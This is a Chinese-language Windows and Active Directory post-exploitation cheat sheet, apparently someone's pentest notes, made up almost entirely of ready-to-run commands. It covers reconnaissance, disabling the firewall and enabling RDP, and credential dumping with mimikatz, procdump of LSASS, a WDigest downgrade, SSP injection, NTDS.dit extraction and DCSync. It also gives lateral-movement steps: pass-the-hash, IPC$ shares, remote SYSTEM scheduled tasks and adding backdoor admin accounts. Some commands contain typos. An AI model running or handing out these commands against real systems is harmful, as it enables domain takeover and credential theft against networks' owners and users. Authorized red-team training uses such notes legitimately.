信息收集
主机信息收集
# ip信息
shell ipconfig
# 系统信息,补丁信息
shell systeminfo
# 架构
shell echo %PROCESSOR_ARCHITECTURE%
# 软件信息
shell wmic product get name,version
# 查看安装服务
shell wmic service list brief
# 查看运行进程
shell talklist
shell wmic process list brief
# 查看开机自启程序
shell wmic startup get command.caption
# 查看计划任务
schtasks /query /fo LIST /v
# 查看主机时间
shell net statistics workstation
# 查看本地有什么用户
shell net user
# 查看会话列表
shell net session
# 查看开启端口
shell netstat -ano
# 杀毒软件信息
shell wmic /node:localhost /namespace:\\root\securitycenter2 path
# 查看是否存在共享文件夹
shell net share
# 查看防火墙状态/配置
shell netsh firewall show state/config
# 关闭防火墙
shell netsh firewall set opmode disable
# 允许指定程序进行全部连接
shell netsh firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
# 允许3389端口放行
shell netsh advfirewall firewall add rule name="name" protocol=TCP dir=in localport=3389 action=allow
# 开启3389
shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 获取wifi配置文件
netsh wlan show profiles
# 获取wifi详细信息
netsh wlan show profile name="SSID_NAME" key=clear
# 查看arp缓存
shell arp -a
# 查看本地工作组
shell net localgroup
# 查看RDP凭证
shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
域内信息收集
域内基本信息
# 查看主机是否在域内
systeminfo
ipconfig /all
# 查看是否为域用户
whoami
# 查看当前组
shell net localgroup
# 查域内有多少个组
net group "groupname" /domain
# 查看域内有多少主机
net view
#打印路由表
route print
# 打印arp表
arp -a
# 显示端口
netstat -ano
# 查看域信任关系
nltest /domain——trusts
# 查看域控
net time /domain # 只有域用户才能查出来
nltest /DCLIST:hacke
# 定位域管理员用户
net group "domain admins" /domain
hostname和whoami 显示的不同大概率为域用户
获取到shell-》kali 自动化脚本
run winenum
powersploit(进入攻击脚本)
获取到shell-》
加载脚本
load powershell
导入脚本
powershell_import 路径/PowerView.ps1
执行脚本(可以搜索powersploit命令,在execute后执行就行)
powershell_execute get-NetDomain
powershell_execute get-NetUser
powershell_execute get-NetComputer
定位域控
# 获取到域控ip
ping 域名
shell nslookup -type=SRV _ldap._tcp
定位域管理员登录的主机
# 使用PsLoggedon.exe,需要上传到以控制的域内主机中
PsLoggedon.exe \\hostname
PsLoggedon.exe username
# 自动化获取域内登录的用户
PVEFindADUser.exe -current
netview.exe -d
powershell.exe -exec bypass -command "& {fimport-module .\PowerView.ps1;|nvoke-UserHunter}"
内网主机扫描
shell for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.20.%I | findstr "TTL="
fscan:全自动内网信息扫描
fscan.exe -h 网段
密码抓取
# 工具mimikatz 要求:权限为:admin、system、UAC用户
在线读取
shell mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
离线读取
将sam文件导出,system是sam的密钥
shell reg save hklm\sam sam.hive
shell reg save hklm\system system.hive
再使用mimikatz进行读取
token::elevate
lsadump::sam /sam:sam.hive /system:system.hive
读取lsass进程的密码
找到lsass的进程好
tasklist | findstr lsass.exe
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
使用minidump等工具导出内存
高版本抓密码(高版本win系统不缓存明文密码)
修改缓存
开启缓存记录
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
锁屏命令
rundll32.exe user32.dll,LockWorkStation
可以抓取到明文密码
ssp内存注入
# 重启后失效,会将密码保存在c:\windows\system32\mimilsa
shell mimikatz "privilege:debug" "misc::memssp" exit
# 由于权限问题无法直接访问到mimilsa
需要创建计划任务使用bat文件去复制
schtasks /create /tn copy /sc onstart /tr C:\Users\1001\Desktop\1.bat /ru system /f
1.bat
copy C:\windows\system32\mimilsa.log C:\Users\1001\Desktop\1.txt
运行
schtasks /run /i /tn "copy"
---------------------------------------------------------------------------------------
ssp开机自启,存放在c:\windows\system32\kiwissp
shell copy mimilib.dll c:\windows\system32
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f
域控账号密码抓取
域账号信息存放在C:\Windows\NTDS.DIT,密钥:system.hive
# 使用ntdsutil工具(域控服务器自带,备份工具)
创建快照
ntdsutil.exe snapshot "activate instance ntds" create q q
挂载
ntdsutil.exe snapshot "mount {1efdbb78-49ea-49db-a4ea-ddf3aef1701f}" q q
复制出来
copy C:\$SNAP_202409261557_VOLUMEC$\windows\ntds\ntds.dit C:\Users\Administrator\Desktop\
删除快照
ntdsutil.exe snapshot "umount {1efdbb78-49ea-49db-a4ea-ddf3aef1701f}" "delete {1efdbb78-49ea-49db-a4ea-ddf3aef1701f}" q q
# 使用vssadmin
创建快照
vssadmin create shadow /for=c:
复制
shell copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit C:\Users\Administrator\Desktop\ntds2.dit
删除
vssadmin delete shadows /for=c: /quiet
也可使用copy-vss工具、lnvoke-ninjacopy(日志较少)
ntds文件读取
# 使用ntdsdumpex工具
NTDSDumpEx -d ntds.dit -s system.hive -o 1.txt
在线获取域用户信息
mimikatz lsadump::dcsync /domain:wang.com /all /csv
Dcsync攻击(domain control synchronization)
Dcsync用于域林之间不同域控去同步数据,使用drs协议去同步
可以使用的用户范围
admin
domain admins
enterprise admins
DC 本地用户
# 使用mimikatz可以伪造dcsync包去欺骗域控,可以不用域控的shell远程获取domain的用户信息
有权限时
mimikatz lsadump::dcsync /domain:wang.com /all /csv
没权限但有一个用户密码的hash时
secretsdump.exe 域名/用户名:密码@ip
明文读取(前提使用了可逆加密)
RDP远程密码抓取
rdp使用masterkey加密后保存在本地,然后下次使用时就不用输入密码
# 在线读
查看连接记录
cmdkey /list
查找本地凭据(credentials)
dir /a %userprofile%\appdata\local\microsoft\credentials\*
读取凭据,找到guid
mimikatz dpapi::cred /in:绝对路径
读取内存找到guid对应的masterkey
mimikatz sekurlsa::dpapi
读取凭据并使用msaterkey解密
mimikatz dpapi::cred /in:绝对路径 /masterkey:
# 离线读
保存lsass文件
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz载入lsass内存
sekuelsa::minidump lsass.dmp
使用上面的方法进行读取
横向移动
# 开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 查看rdp端口
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber
# 抓取密码
#hash远程
mimikatz sekurlsa::pth /user:administrator /domain:192.168.20.110 /ntlm:8019de0efe99442ffecc78646755d4ac "/run:mstsc.exe /restrictedadmin"
# 添加账号,进行远程
net user wangg password /add
shell net localgroup Administrators wangg /add
todesk远程
#静默安装
todesk.exe /S
# 查看todesk中的配置文件,获取账号信息
type c:\"Program Files"\Todesk\config.ini
# 使用本地的hash值替换配置文件
IPC$
利用条件
1.开启了139、445端口
2.开启了默认分享盘符
3.知道用户名和密码
# 增加删除IPC,建立连接后无需密码直接访问
net use \\192.168.10.160\IPC$ "qwe123@#" /user:administrator
net use \\192.168.10.160\IPC$ del
# 盘符映射
net use k: \\192.168.20.222\c$
管理共享文件
net share C$ /del
net share 共享名=位置
IPC命令
dir \\192.168.10.160\C$
远程添加计划任务
# 创建
schtasks /create /s 192.168.20.222 /p qwe123@# /u administrator /tn test /tr c:/1.exe /sc onstart /RU System /F
# 运行
schtasks /run /s 192.168.20.222 /i /tn "test"
# 删除
schtasks /delete /s 192.168.20.222 /u administrator -p qwe123@# /tn test /f
PTH(Pass The Hash)
PTH攻击有意义的用户(administrator、domain admin)
# 可以直接发送NTLM值进行远程
psexec 也能远控
wmiexec.exe -hashes 8019de0efe99442ffecc78646755d4ac:8019de0efe99442ffecc78646755d4ac administrator@192.168.20.110
# 使用mimikatz
sekurlsa::pth /user:administrator /domain:192.168.20.110 /ntlm:8019de0efe99442ffecc78646755d4ac